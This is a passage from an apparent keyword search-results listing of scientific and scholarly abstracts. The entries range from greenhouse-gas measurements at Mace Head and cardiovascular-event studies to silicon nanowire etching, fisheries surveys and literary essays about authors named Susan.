N 2 O as well as a cavity ring-down spectroscopy (CRDS) system for CH 4 and CO 2 . The advantage of a TCI approach for quality control is that the comparison covers the entire ambient air measurement system, including the sample intake system and the data evaluation process. For initial quality and performance control, the TCI was run in parallel with the Heidelberg GC before and after the measurement campaign at Mace Head. Median differences between the Heidelberg GC and the TCI were well within the WMO inter-laboratory compatibility target for all three greenhouse gases. At Mace Head, the median difference between the station GC and the TCI were -0.04 nmol mol -1 for CH 4 and -0.37 nmol mol -1 for N 2 O (GC-TCI). For N 2 O, a similar difference (-0.40 nmol mol -1 ) was found when measuring surveillance or working gas cylinders with both instruments. This suggests that the difference observed in ambient air originates from a calibration offset that could partly be due to a difference between the WMON2O X2006a reference scale used for the TCI and the Scripps Institution of Oceanography (SIO-1998) scale used at Mace Head and in the whole AGAGE network. Median differences between the CRDS G1301 and the TCI at Mace Head were 0.12 nmol mol -1 for CH 4 and 0.14 μmol mol -1 for CO 2 (CRDS G1301 - TCI). The difference between both instruments for CO 2 could not be explained, as direct measurements of calibration gases show no such difference. The CH 4 5. Susan Loucks-Horsley learning model in light pollution theme: based on a new taxonomy for science education International Nuclear Information System (INIS) Liliawati, W; Utama, J A; Fauziah, H 2016-01-01 The curriculum in Indonesia recommended that science teachers in the elementary and intermediate schools should have interdisciplinary ability in science. However, integrated learning still has not been implemented optimally. This research is designing and applying integrated learning with Susan Loucks-Horsley model in light pollution theme. It can be showed how the student's achievements based on new taxonomy of science education with five domains: knowing and understanding, science process skill, creativity, attitudinal and connecting and applying. This research use mixed methods with concurrent embedded design. The subject is grade 8 of junior high school students in Bandung as many as 27 students. The Instrument have been employed has 28 questions test mastery of concepts, observations sheet and moral dilemma test. The result shows that integrated learning with model Susan Loucks-Horsley is able to increase student's achievement and positive characters on light pollution theme. As the results are the average normalized gain of knowing and understanding domain reach in lower category, the average percentage of science process skill domain reach in good category, the average percentage of creativity and connecting domain reach respectively in good category and attitudinal domain the average percentage is over 75% in moral knowing and moral feeling. (paper) 6. Susan Loucks-Horsley learning model in light pollution theme: based on a new taxonomy for science education Science.gov (United States) Liliawati, W.; Utama, J. A.; Fauziah, H. 2016-08-01 The curriculum in Indonesia recommended that science teachers in the elementary and intermediate schools should have interdisciplinary ability in science. However, integrated learning still has not been implemented optimally. This research is designing and applying integrated learning with Susan Loucks-Horsley model in light pollution theme. It can be showed how the student's achievements based on new taxonomy of science education with five domains: knowing & understanding, science process skill, creativity, attitudinal and connecting & applying. This research use mixed methods with concurrent embedded design. The subject is grade 8 of junior high school students in Bandung as many as 27 students. The Instrument have been employed has 28 questions test mastery of concepts, observations sheet and moral dilemma test. The result shows that integrated learning with model Susan Loucks-Horsley is able to increase student's achievement and positive characters on light pollution theme. As the results are the average normalized gain of knowing and understanding domain reach in lower category, the average percentage of science process skill domain reach in good category, the average percentage of creativity and connecting domain reach respectively in good category and attitudinal domain the average percentage is over 75% in moral knowing and moral feeling. 7. Chemical and physical characteristics of aerosol particles at a remote coastal location, Mace Head, Ireland, during NAMBLEX Directory of Open Access Journals (Sweden) H. Coe 2006-01-01 Full Text Available A suite of aerosol physical and chemical measurements were made at the Mace Head Atmospheric Research Station, Co. Galway, Ireland, a coastal site on the eastern seaboard of the north Atlantic Ocean during NAMBLEX. The data have been used in this paper to show that over a wide range of aerosol sizes there is no impact of the inter-tidal zone or the surf zone on measurements made at 7 m above ground level or higher. During the measurement period a range of air mass types were observed. During anticyclonic periods and conditions of continental outflow Aitken and accumulation mode were enhanced by a factor of 5 compared to the marine sector, whilst coarse mode particles were enhanced during westerly conditions. Baseline marine conditions were rarely met at Mace Head during NAMBLEX and high wind speeds were observed for brief periods only. The NAMBLEX experiment focussed on a detailed assessment of photochemistry in the marine environment, investigating the linkage between the HOx and the halogen radical cycles. Heterogeneous losses are important in both these cycles. In this paper loss rates of gaseous species to aerosol surfaces were calculated for a range of uptake coefficients. Even when the accommodation coefficient is unity, lifetimes due to heterogeneous loss of less than 10 s were never observed and rarely were they less than 500 s. Diffusional limitation to mass transfer is important in most conditions as the coarse mode is always significant. We calculate a minimum overestimate of 50% in the loss rate if this is neglected and so it should always be considered when calculating loss rates of gaseous species to particle surfaces. HO2 and HOI have accommodation coefficients of around 0.03 and hence we calculate lifetimes due to loss to particle surfaces of 2000 s or greater under the conditions experienced during NAMBLEX. Aerosol composition data collected during this experiment provide representative information on the input aerosol 8. The effectiveness of using WebCT in distance learning programmes in MACE, the University of Manchester Science.gov (United States) The World Wide Web impacted the educational model and became part of distance education early in this century. There were many changes taking place in higher education for political, economic and educational reasons." New goals and educational objectives were being set within educational institutions. There were particular emphases to produce a more effective delivery of learning methods for distance learning students. The use of Internet was seen as an important issue in the development of an understanding of the complex process of instilling knowledge to post graduates students. Well-established universities were re-examining their missions and looking for different ways of providing lifelong education. The School of Mechanical, Aerospace and Civil Engineering (MACE) was particularly keen to increase the use of web-based learning in its courses, which will increase the amount of students enrolled into these programmes and help them learn in a flexible and workable manner. This approach was reinforced by responses from a survey of MSc. degree students which suggested that the current distance learning programme were not being operated efficiently and did not develop adequate personal skills in relation to the requirements of prospective employers. One way of improving these programmes was to make use of the Virtual Learning Environment (VLE). A study was made and WebCT was found to be suitable. Five WebCT units were initially produced. The experience of designing and running the units was very useful in determining the effective use of the WebCT. From the analysis of students and staff surveys it has been demonstrated that these WebCT units are much more effective in achieving the project objectives in a wide number of areas which relate to students satisfaction, skills development and enhancing their interest into learning experience. The success of the WebCT units has stimulated interest in overseas establishments. It is hope that the success will follow in the 9. Susan Magoffin’s Santa Fe Days in 1846: The Value of Testimony Les journées de Santa Fé en 1846 de Susan Magoffin : la valeur du témoignage Directory of Open Access Journals (Sweden) Susanne Berthier-Foglar 2009-11-01 Full Text Available Susan Magoffin, la jeune épouse d’un commerçant de la piste de Santa Fe, accompagna son mari en 1846 pour un voyage où la caravane suivait de près l’Armée de l’Ouest et pendant lequel elle tint un journal. Cet article traite des 37 jours que dura la pause de la caravane à Santa Fe et aborde plus spécifiquement la façon dont l’auteur appréhendait l’altérité dans un environnement inhabituel et parfois dangereux. Pour apprécier la valeur du témoignage, je combine une analyse du discours avec une évaluation statistique du contenu. La description, parfois naïve, de Santa Fe sous l’occupation américaine illustre les raisons de la guerre contre le Mexique. En tant qu’agent de la destinée manifeste, Susan Magoffin admirait le général Kearny en lui attribuant des qualités surhumaines et en participant à ses efforts de propagande. Alors qu’elle était enracinée dans sa classe et sa culture, elle voyait la population mexicaine et les Amérindiens avec un esprit ouvert bien que ses motifs pour apprendre l’espagnol, ainsi que le métier de commerçante, avaient une fonction plus prosaïque. 10. Peroxy radical chemistry and the control of ozone photochemistry at Mace Head, Ireland during the summer of 2002 Directory of Open Access Journals (Sweden) Z. L. Fleming 2006-01-01 11. Vascular risk levels affect the predictive value of platelet reactivity for the occurrence of MACE in patients on clopidogrel. Systematic review and meta-analysis of individual patient data. Science.gov (United States) Reny, Jean-Luc; Fontana, Pierre; Hochholzer, Willibald; Neumann, Franz Josef; Ten Berg, Jurriën; Janssen, Paul W; Geisler, Tobias; Gawaz, Meinrad; Marcucci, Rossella; Gori, Anna-Maria; Cuisset, Thomas; Alessi, Marie-Christine; Berdagué, Philippe; Gurbel, Paul A; Yong, Gerald; Angiolillo, Dominick J; Aradi, Dániel; Beigel, Roy; Campo, Gianluca; Combescure, Christophe 2016-04-01 Prior studies have shown an association between high on-clopidogrel platelet reactivity (PR) and the risk of major adverse cardiovascular events (MACE). However, large intervention trials on PR-tailored treatments have been neutral. The role and usefulness of PR with regard to levels of cardiovascular risk are unclear. We undertook a systematic review and meta-analysis of individual patient data on MACE outcomes (acute coronary syndromes (ACS), ischaemic strokes, and vascular deaths) in relation to PR and its interaction with cardiovascular risk levels. PR was determined using ADP-induced light transmission aggregometry with a primary concentration of 20 µM ADP. Thirteen prospective studies totaled 6,478 clopidogrel-treated patients who experienced 421 MACE (6.5 %) during a median follow-up of 12 months. The strength of the association between the risk of MACE and PR increased significantly (p=0.04) with the number of risk factors present (age> 75 years, ACS at inclusion, diabetes, and hypertension). No association was detected in patients with no risk factor (p=0.48). In patients presenting one risk factor, only high-PR was associated with an increased risk of MACE (HR 3.2, p=0.001). In patients presenting ≥ 2 risk factors, the increase of risk started from medium-PR (medium-PR: HR=2.9, p=0.0004; high-PR: HR=3.7, p=0.0003). PR allowed the reclassification of 44 % of the total population to a different risk level for the outcome of MACE, mostly in intermediate or high risk patients. In conclusion, the magnitude of the association between PR and MACE risk is strongly dependent on the level of cardiovascular risk faced by patients on clopidogrel. 12. Impact of glycemic variability on the occurrence of periprocedural myocardial infarction and major adverse cardiovascular events (MACE) after coronary intervention in patients with stable angina pectoris at 6months follow-up. Science.gov (United States) Xia, Jinggang; Xu, Ji; Hu, Shaodong; Hao, Hengjian; Yin, Chunlin; Xu, Dong 2017-08-01 We explored the impact of glycemic variability on the occurrence of periprocedural myocardial infarction and major adverse cardiovascular events (MACE) after coronary intervention in patients with stable angina pectoris (SAP) at 6months follow-up. From May 2015 to April 2016, a total of 746 patients with SAP were divided to high glycemic variability group (H group) (n=261) and low glycemic variability group (L group) (n=485). The primary end point was incidence of periprocedural myocardial infarction and MACE at 6months follow-up. The occurrence of periprocedural myocardial infarction occurred in 18.8% of patients in H group and in 12.4% in L group (P=0.03). The incidence of MACE at 6months follow-up was 9.6% in H group and 4.5% in L group (P=0.01). Multivariable analysis suggested that high glycemic variability conferred a 53% risk increment of 6months follow-up MACE (odds ratio 2.13, 95% confidence interval 1.85-5.38; P=0.01). The trial shows that higher blood glucose variability was correlated with higher incidence of periprocedural myocardial infarction and MACE at 6months follow-up. Copyright © 2017. Published by Elsevier B.V. 13. ‘Speaking Kleinian’: Susan Isaacs as Ursula Wise and the Inter-War Popularisation of Psychoanalysis Science.gov (United States) Shapira, Michal 2017-01-01 How did the complex concepts of psychoanalysis become popular in early twentieth-century Britain? This article examines the contribution of educator and psychoanalyst Susan Isaacs (1885–1948) to this process, as well as her role as a female expert in the intellectual and medical history of this period. Isaacs was one of the most influential British psychologists of the inter-war era, yet historical research on her work is still limited. The article focuses on her writing as ‘Ursula Wise’, answering the questions of parents and nursery nurses in the popular journal Nursery World, from 1929 to 1936. Researched in depth for the first time, Isaacs’ important magazine columns reveal that her writing was instrumental in disseminating the work of psychoanalyst Melanie Klein in Britain. Moreover, Isaacs’ powerful rebuttals to behaviourist, disciplinarian parenting methods helped shift the focus of caregivers to the child’s perspective, encouraging them to acknowledge children as independent subjects and future democratic citizens. Like other early psychoanalysts, Isaacs was not an elitist; she was in fact committed to disseminating her ideas as broadly as possible. Isaacs taught British parents and child caregivers to ‘speak Kleinian’, translating Klein’s intellectual ideas into ordinary language and thus enabling their swift integration into popular discourse. PMID:28901872 14. SU-E-T-540: Volumetric Modulated Total Body Irradiation Using a Rotational Lazy Susan-Like Immobilization System International Nuclear Information System (INIS) Gu, X; Hrycushko, B; Lee, H; Lamphier, R; Jiang, S; Abdulrahman, R; Timmerman, R 2014-01-01 Purpose: Traditional extended SSD total body irradiation (TBI) techniques can be problematic in terms of patient comfort and/or dose uniformity. This work aims to develop a comfortable TBI technique that achieves a uniform dose distribution to the total body while reducing the dose to organs at risk for complications. Methods: To maximize patient comfort, a lazy Susan-like couch top immobilization system which rotates about a pivot point was developed. During CT simulation, a patient is immobilized by a Vac-Lok bag within the body frame. The patient is scanned head-first and then feet-first following 180° rotation of the frame. The two scans are imported into the Pinnacle treatment planning system and concatenated to give a full-body CT dataset. Treatment planning matches multiple isocenter volumetric modulated arc (VMAT) fields of the upper body and multiple isocenter parallel-opposed fields of the lower body. VMAT fields of the torso are optimized to satisfy lung dose constraints while achieving a therapeutic dose to the torso. The multiple isocenter VMAT fields are delivered with an indexed couch, followed by body frame rotation about the pivot point to treat the lower body isocenters. The treatment workflow was simulated with a Rando phantom, and the plan was mapped to a solid water slab phantom for point- and film-dose measurements at multiple locations. Results: The treatment plan of 12Gy over 8 fractions achieved 80.2% coverage of the total body volume within ±10% of the prescription dose. The mean lung dose was 8.1 Gy. All ion chamber measurements were within ±1.7% compared to the calculated point doses. All relative film dosimetry showed at least a 98.0% gamma passing rate using a 3mm/3% passing criteria. Conclusion: The proposed patient comfort-oriented TBI technique provides for a uniform dose distribution within the total body while reducing the dose to the lungs 15. Fabrication of porous silicon nanowires by MACE method in HF/H2O2/AgNO3 system at room temperature Science.gov (United States) 2014-01-01 In this paper, the moderately and lightly doped porous silicon nanowires (PSiNWs) were fabricated by the ‘one-pot procedure’ metal-assisted chemical etching (MACE) method in the HF/H2O2/AgNO3 system at room temperature. The effects of H2O2 concentration on the nanostructure of silicon nanowires (SiNWs) were investigated. The experimental results indicate that porous structure can be introduced by the addition of H2O2 and the pore structure could be controlled by adjusting the concentration of H2O2. The H2O2 species replaces Ag+ as the oxidant and the Ag nanoparticles work as catalyst during the etching. And the concentration of H2O2 influences the nucleation and motility of Ag particles, which leads to formation of different porous structure within the nanowires. A mechanism based on the lateral etching which is catalyzed by Ag particles under the motivation by H2O2 reduction is proposed to explain the PSiNWs formation. PMID:24910568 16. The phase-in and phase-out of European emissions of HCFC-141b and HCFC-142b under the Montreal Protocol: Evidence from observations at Mace Head, Ireland and Jungfraujoch, Switzerland from 1994 to 2004 Science.gov (United States) Derwent, R. G.; Simmonds, P. G.; Greally, B. R.; O'doherty, S.; McCulloch, A.; Manning, A.; Reimann, S.; Folini, D.; Vollmer, M. K. The mixing ratios of HCFC-141b (1,1-dichlorofluoroethane) and HCFC-142b (1-chloro-1,1-difluoroethane) have been rising steadily in baseline air at Mace Head, Ireland over the 10-year period from 1994 to 2004. These HCFCs are widely used replacements for the chlorofluorocarbons phased out under the Montreal Protocol and its subsequent amendments. Analysis of the HCFC content of regionally-polluted air arriving at Mace Head from the European continent shows that European emissions reached a peak during 2000-2001 and have declined subsequently, following the phase-out in their usage. European emissions of HCFC-141b have been further constrained by observations at the High-Alpine Jungfraujoch site. The reductions are consistent with the phase-out of HCFC production and use from the year 2001 onwards mandated by European regulations designed to exceed the requirements of the Montreal Protocol. 17. Mace-like hierarchical MoS2/NiCo2S4 composites supported by carbon fiber paper: An efficient electrocatalyst for the hydrogen evolution reaction Science.gov (United States) Sun, Lan; Wang, Tao; Zhang, Long; Sun, Yunjin; Xu, Kewei; Dai, Zhengfei; Ma, Fei 2018-02-01 The rational design and preparation of earth-abundant, stable and efficient electrocatalysts for hydrogen production is currently the subject in extensive scientific and technological researches toward the future of a clean-energy society. Herein, a mace-like MoS2/NiCo2S4 hierarchical structure is designed and synthesized on carbon fiber paper via a facile hydrothermal method, and evaluated as electrocatalyst for hydrogen evolution reaction. In the MoS2/NiCo2S4/carbon fiber paper hierarchical structures, MoS2 nanosheets are dispersively distributed on the surface of NiCo2S4 nanowires, which provides an enlarged surface area, abundant interfaces and catalytic active sites. As for hydrogen evolution reaction, such MoS2/NiCo2S4/carbon fiber paper heterostructures give rise to a hydrogen evolution reaction catalytic current density of 10 mA cm-2 with a lower overpotential of 139 mV and a smaller Tafel slope of 37 mV·dec-1 than those of MoS2/carbon fiber paper and NiCo2S4/carbon fiber paper counterparts, exhibiting a prominent electrocatalytic performance. Moreover, the electrocatalytic properties change little after 5000 CV cycles and continual electrolysis for 12 h without obvious decay, respectively, demonstrating high durability and stability. The excellent hydrogen evolution reaction performances endow the hierarchical configuration MoS2/NiCo2S4/carbon fiber paper with promising alternative in HER and other related renewable energy fields. 18. Fidelity, Adaptation, and Meta-commentary: The Case of Susan Orlean’s The Orchid Thief and Spike Jonze’s Adaptation Directory of Open Access Journals (Sweden) Victoria de Zwaan 2017-12-01 Full Text Available Abstract Susan Orlean’s The Orchid Thief has raised and defied questions about genre since its appearance in 1998. Though “research” and “facts” are at the foreground of the book, critics have described it by such terms as literary non-fiction, faction, personal journalism, and non-fiction novel because of its strong “literary,” that is narrative, characterological, thematic, and even philosophical, qualities. Struggling to make a faithful adaptation of this “simple” and “beautiful” book “about flowers” for film, Charlie Kaufman, the neurotic and anxious protagonist/screenwriter of Adaptation (2002, a fictionalized avatar of the real-life Charlie Kaufman, works through the wide range of possible generic and narrative adaptive possibilities that the book invites. The series of apparent false starts eventually get resolved, in a desperate attempt at creating closure, by way of the “Hollywood ending” that the screenwriter ostensibly despises and insists he will avoid. This paper engages the complex relationships between these two objects – The Orchid Thief and Adaptation – first, by providing some interpretive analysis of Orlean’s book and its potential adaptive possibilities, and second, by examining what happens to those possibilities in Adaptation. On my argument, the film refracts the book’s concerns into a meditation on the processes of reading, storytelling, and interpretation in the realm of explicit adaptation by way of metafiction, metalepsis, and other techniques associated with experimental narrative. 19. "If you thought this story sour, sweeten it with your own telling" - a feminist poetics of rewriting in Susan Price's Ghost dance Directory of Open Access Journals (Sweden) Sanna Lehtonen 2010-01-01 Full Text Available The attempts to challenge conventional gendered discourses in children's fantasy have often resulted in feminist rewritings of earlier stories. Ghost dance (1994 by the English author Susan Price is a novel that reflects a specific feminist poetics of rewriting: metafictional passages highlight the constructedness of the narrative and at the end readers are invited to tell their own versions of the story. Moreover, the rewriting freely combines and recontextualises elements from different source texts and reformulates them to create a narrative that challenges conventional discourses of gender. While this poetics has an appeal from a feminist perspective, the play with cross-cultural intertexts and gender becomes more complex when the novel is examined in a postcolonialist framework in relation to ethnicity and the issue of cultural appropriation. Ghost dance is situated in a setting that has a real-world equivalent (Russia, involves characters that are identified with names of real-world ethnic groups (Lapps (Sámi, Russian, and mixes elements from Russian wonder tales, Nordic mythology and an Ojibwe legend. The novel does not aim at historical accuracy in its representations nor is it a direct retelling of any of the pre-texts but combines motifs, themes, names, characters and settings freely from each source. In this textual melting pot, the protagonist Shingebiss is, on one level, a revision of the witch Baba Yaga, but also described as a Lappish shaman with an Ojibwe name. To rewrite gendered discourses, certain elements from the pretexts are chosen and others left out – the question is, then, what effects does this recontextualisation have on the representation of ethnicity? Or, are the feminist rewriting strategies actually a form of cultural appropriation? 20. Idufirma Silicon Valleyta / Susan Adams Index Scriptorium Estoniae 2014-01-01 Tarkvarafirma Apprenda toodab teenindusplatvormi tarkvara, mis võimaldab klientidel luua ja hoida käigus uusi mobiilseid ja pilvetehnoloogiapõhiseid rakendusi. Oma töötajatele pakub odavaid elamispindu ja madalaid makse 1. In Conversation with Susan Holtz \| IDRC - International ... International Development Research Centre (IDRC) Digital Library (Canada) 2010-11-26 Nov 26, 2010 ... I would say that almost all the practical, on-the-ground progress that is ... on how the integration of different people's perspectives actually happens. ... more and less successful efforts within any one of these approaches. 2. Susan G. Komen for the Cure Science.gov (United States) ... de sus senos:Consejos útiles para mujeres El Cancer de Mama y el Medio Ambiente: Preguntas y Respuestas Guía de herramientas de educación sobre el cancer de seno para comunidades hispanas/Latinas About Us ... 3. Roberts, Dennis C. & Komives, Susan R. African Journals Online (AJOL) Enhancing Student Learning and Development in Cross-Border Higher ... importance of the integration of students' experience in both the classroom ... practices can be motivated, the diversity in terms of offerings – on institutional and cultural. 4. Entretien avec Susan Holtz \| IDRC - International Development ... International Development Research Centre (IDRC) Digital Library (Canada) 26 nov. 2010 ... À cause des difficultés que pose la convergence des politiques, il semble y avoir un besoin criant d'institutions et de processus nouveaux, voire d'une nouvelle manière d'être culturelle et sociale. À quoi pouvons-nous nous attendre de façon réaliste en ce qui concerne un consensus entre les intervenants, ... 5. Calculated trends and the atmospheric abundance of 1,1,1,2-tetrafluoroethane, 1,1-dichloro-1-fluoroethane, and 1-chloro-1,1-difluoroethane using automated in-situ gas chromatography-mass spectrometry measurements recorded at Mace Head, Ireland, from October 1994 to March 1997 Science.gov (United States) Simmonds, P. G.; O'Doherty, S.; Huang, J.; Prinn, R.; Derwent, R. G.; Ryall, D.; Nickless, G.; Cunnold, D. 1998-01-01 The first in-situ measurements by automated gas chromatograph-mass spectrometer are reported for 1,1,1,2-tetrafluoroethane (HFC-134a), 1,1-dichloro-1-fluoroethane, (HCFC-141b), and 1-chloro-1,1-difluoroethane, (HCFC-142b). These compounds are steadily replacing the chlorofluorocarbons (CFCs) as refrigerants, foam-blowing agents, and solvents. The concentrations of all three compounds are shown to be rapidly increasing in the atmosphere, with 134a increasing at a rate of 2.05±0.02 ppt yr-1 over the 30 months of observations. Similarly, 141b and 142b increased at rates of 2.49±0.03 and 1.24±0.02 ppt yr-1, respectively, over the same period. The concentrations recorded at the atmospheric research station at Mace Head, Ireland, on January 1, 1996, the midpoint of the time series, were 3.67 ppt (134a), 7.38 ppt (141b), and 8.78 ppt (142b). From these observations we optimally estimate the HCFC and HFC emissions using a 12-box global model and OH concentrations derived from global 1,1,1-trichloroethane (CCl3CH3) measurements. Comparing two methods of estimating emissions with independent industry estimates shows satisfactory agreement for 134a and 141b, while for 142b, industry estimates are less than half those required to explain our observations. 6. Olímpia de Épiro: uma leitura dos Comportamentos Barbarescos da Rainha Macedônica na obra Vidas paralelas de Plutarco * Olympia of Epirus: reading the Aarbarian Acting of the Macedonian Queen in the work Parallel lives of Plutarch Directory of Open Access Journals (Sweden) DOMINIQUE VIEIRA COELHO DOS SANTOS 2014-01-01 Full Text Available Resumo: O objetivo deste artigo é analisar o papel que Olímpia de Épiro – mãe de Alexandre, o Grande – desempenha na narrativa plutarqueana dentro da obra Vidas Paralelas. Tal empreendimento pode nos auxiliar a compreender, por exemplo, como Plutarco aborda a dicotomia grego/bárbaro, pois quando descreve a rainha macedônica ele a caracteriza como detentora de uma natureza rude e comportamentos religiosos desviantes, sendo tão barbaresca quanto às mulheres Edômas e Trácias. Palavras-chave: Plutarco – Alexandre – Religião – Barbárie – Olímpia de Épiro. Abstract: This paper aim is to analyze the role that Olympia of Epirus - mother of Alexander the Great - plays in the Plutarchian narrative in the work Parallel Lives. Such an effort can help us to understand, for example, how Plutarch discusses the dichotomy greek/barbarian, as when he describes the Macedonian Queen he characterizes her as having a tough nature and deviant religious behavior, being as barbaric as Edonian and Thracian women.Keywords: Plutarch – Alexander – Religion – Barbarism – Olympia of Epirus. 7. Contravene, write ... About the pain of others of Susan Sontag Directory of Open Access Journals (Sweden) Lucía Belén Couso 2014-08-01 Full Text Available Regarding the pain of others challenges our knowledge, challenges what is held as true. We appreciate this attitude condensed in the verb “to defy”. We analyze how Sontag develops her hypothesis and, from that point onward, which is the idea of criticism that emerges from the writing of Regarding the pain of others. Our analysis focuses on three of its topics: the reviewing of the ideas about the war that Virginia Woolf establishes on Three Guineas, the discussion of her own text On photography, and the criticism about Sebastião Salgado’s photography. 8. A polarised SUSANS facility to study magnetic systems The experiment was carried out at the V12b double crystal diffractometer set ... upper pole piece and just below the lower pole piece, within a magnet-grade soft iron 'C'. ... about 3 µm with the up- and 9 µm with the down-spin neutrons. 9. From Estonian Exile to Executive Office / Susan Frith Index Scriptorium Estoniae Frith, Susan 2008-01-01 Eesti Vabariigi Presidendi Toomas Hendrik Ilvese elukäigust, haridusteest, poliitilistest vaadetest. T. H. Ilves lõpetas Pennsylvania ülikooli psühholoogia alal magistrikraadiga 1978. a. Artiklis on kasutatud telefoniintervjuud presidendiga. T. H. Ilvese kohta avaldavad arvamust ülikoolikaaslane Brian Wandell ja Eesti Rahvuskomitee Ühendriikides endine president Juhan Simonson. Ülevaade artiklist ilmunud ka: Vaba Eesti Sõna, 24. jaan. 2008, lk. 7, 10: Vaga, Airi. Eesti president Toomas H. Ilves Pennsylvania ülikooli ajakirjas 10. Rene Valner ja Mikk Suursild - lihtsa elu tegelased / Susan Lahesalu Index Scriptorium Estoniae Lahesalu, Susan 2007-01-01 Arhitekt Rene Valner ja Mikk Suursild - tandem nimega UNITe - ehitavad ökonoomseid ja ökoloogilisi looduslikest materjalidest maju. Nende koostöös on valminud ka Peipsi ääres Nina külas 3 põhumaja. Ott Kadariku, Margit Mutso ja Kuido Kartau kommentaarid 11. Entretien avec Susan Holtz \| CRDI - Centre de recherches pour le ... International Development Research Centre (IDRC) Digital Library (Canada) 26 nov. 2010 ... ... Centre de recherches pour le développement international comme l'un des ... Toutefois, le discours public sur l'intégration d'objectifs environnementaux et .... très conservatrice des experts du droit commercial international, ... 12. Interview with Pennsylvania PUC chairman Susan M. Shanaman International Nuclear Information System (INIS) Utroska, D. 1981-01-01 Chairman Shanaman notes that Pennsylvania law justifies the Public Utility Commission (PUC) refusal to charge ratepayers for the cost of Three Mile Island units 1 and 2, neither of which are providing service, because ratepayers are already paying the costs of replacement power. The PUC chairman points to other service territories around the country where rates are kept below national averages because the average income level is low. The Metropolitan Edison Company is seeking Federal relief as well as legislative permission to put TMI-1 back into the rate base in fairness to ratepayers, but the PUC does not see bankruptcy for the utility as an appropriate way to force Federal assistance. The Administration needs to understand the local impact of Federal policies, especially those which are incompatible with state situations. Appropriate involvement includes nuclear waste research and underwriting some of the cleanup costs of onsite accidents that are too large for a single utility to handle. Chairman Shanaman feels that ratepayers should contribute to the insurance premium for future accidents, but not retroactively to support TMI-2. Nuclear power plant construction in the US will not progress until the issues of TMI-2 are resolved 13. AFSC/RACE/MACE: Results of 2012 Chukchi Sea Acoustic/Trawl Survey Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — We conducted acoustic-trawl (AT) surveys of the Alaska northern Bering and Chukchi Seas during ice-free periods with a focus on Arctic cod (Boreogadus saida), a key... 14. AFSC/RACE/MACE: Association between large cetaceans and their prey: East Kodiak Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Analysis of two different surveys of acoustic and biological data from the Albatross Bank region of the Gulf of Alaska off eastern Kodiak Island indicates that... 15. High capacitance density MIS capacitor using Si nanowires by MACE and ALD alumina dielectric Energy Technology Data Exchange (ETDEWEB) Leontis, I.; Nassiopoulou, A. G., E-mail: [email protected] [INN, NCSR Demokritos, Patriarchou Grigoriou and Neapoleos, Aghia Paraskevi, 153 10 Athens (Greece); Botzakaki, M. A.; Georga, S. N. [Department of Physics, University of Patras, 26 504 Rion (Greece) 2016-06-28 High capacitance density three-dimensional (3D) metal-insulator-semiconductor (MIS) capacitors using Si nanowires (SiNWs) by metal-assisted chemical etching and atomic-layer-deposited alumina dielectric film were fabricated and electrically characterized. A chemical treatment was used to remove structural defects from the nanowire surface, in order to reduce the density of interface traps at the Al{sub 2}O{sub 3}/SiNW interface. SiNWs with two different lengths, namely, 1.3 μm and 2.4 μm, were studied. A four-fold capacitance density increase compared to a planar reference capacitor was achieved with the 1.3 μm SiNWs. In the case of the 2.4 μm SiNWs this increase was ×7, reaching a value of 4.1 μF/cm{sup 2}. Capacitance-voltage (C-V) measurements revealed that, following a two-cycle chemical treatment, frequency dispersion at accumulation regime and flat-band voltage shift disappeared in the case of the 1.3 μm SiNWs, which is indicative of effective removal of structural defects at the SiNW surface. In the case of the 2.4 μm SiNWs, frequency dispersion at accumulation persisted even after the two-step chemical treatment. This is attributed to a porous Si layer at the SiNW tops, which is not effectively removed by the chemical treatment. The electrical losses of MIS capacitors in both cases of SiNW lengths were studied and will be discussed. 16. AFSC/RACE/MACE: Results of 2015 acoustic trawl survey Shumagin/Sanak/PWS DY1502 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — The surveys primary objective was to collect acoustic data and trawl information to estimate midwater abundance and distribution of walleye pollock (Gadus... 17. AFSC/RACE/MACE: Results of 2007 Pollock Acoustic-Trawl Survey Bering Sea- DY0707 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Eastern Bering Sea shelf walleye pollock (Theragra chalcogramma) abundance and distribution in midwater were assessed between 2 June and 30 July 2007 using echo... 18. AFSC/RACE/MACE: Results of 2014 Pollock Acoustic-Trawl Survey Bering Sea- DY1407 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Eastern Bering Sea shelf walleye pollock (Gadus chalcogrammus) midwater abundance and distribution were assessed from Bristol Bay in the United States, to Cape... 19. AFSC/RACE/MACE: Results of 2015 acoustic trawl survey Gulf of Alaska M1501 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Three trawl-resistant bottom- mounted moorings (TRBM) instrumented with newly developed autonomous battery powered 70 kHz split-beam echosounders were deployed in... 20. AFSC/RACE/MACE: Results of 2009 Pollock Acoustic-Trawl Survey Bering Sea- DY0909 Data.gov (United States) National Oceanic and Atmospheric Administration, Department of Commerce — Eastern Bering Sea shelf walleye pollock (Theragra chalcogramma) abundance and distribution in midwater were assessed between 9 June and 7 August 2009 using... 1. Táctica macedónica en tiempos de Filipo II Directory of Open Access Journals (Sweden) Jorge Juan Moreno Hernández 2002-01-01 Full Text Available Una de las claves del ascenso de Macedonia durante el siglo IV a.C. se centra en la superioridad del ejército y de las tácticas empleadas por Filipo II. Este monarca, tras llevar a cabo ciertas reformas militares, obtendrá una victoria tras otra hasta situarse a la cabeza de la Grecia Continental y los Balcanes. El objetivo del presente artículo es analizar cada una de las batallas de Filipo (aquellas en que disponemos de suficiente información, así como la composición del ejército, para poder examinar en profundidad las tácticas desplegadas por el macedonio, que una y otra vez le condujeron a la victoria frente a los más potentes ejércitos de la época. 2. High capacitance density MIS capacitor using Si nanowires by MACE and ALD alumina dielectric International Nuclear Information System (INIS) Leontis, I.; Nassiopoulou, A. G.; Botzakaki, M. A.; Georga, S. N. 2016-01-01 High capacitance density three-dimensional (3D) metal-insulator-semiconductor (MIS) capacitors using Si nanowires (SiNWs) by metal-assisted chemical etching and atomic-layer-deposited alumina dielectric film were fabricated and electrically characterized. A chemical treatment was used to remove structural defects from the nanowire surface, in order to reduce the density of interface traps at the Al_2O_3/SiNW interface. SiNWs with two different lengths, namely, 1.3 μm and 2.4 μm, were studied. A four-fold capacitance density increase compared to a planar reference capacitor was achieved with the 1.3 μm SiNWs. In the case of the 2.4 μm SiNWs this increase was ×7, reaching a value of 4.1 μF/cm"2. Capacitance-voltage (C-V) measurements revealed that, following a two-cycle chemical treatment, frequency dispersion at accumulation regime and flat-band voltage shift disappeared in the case 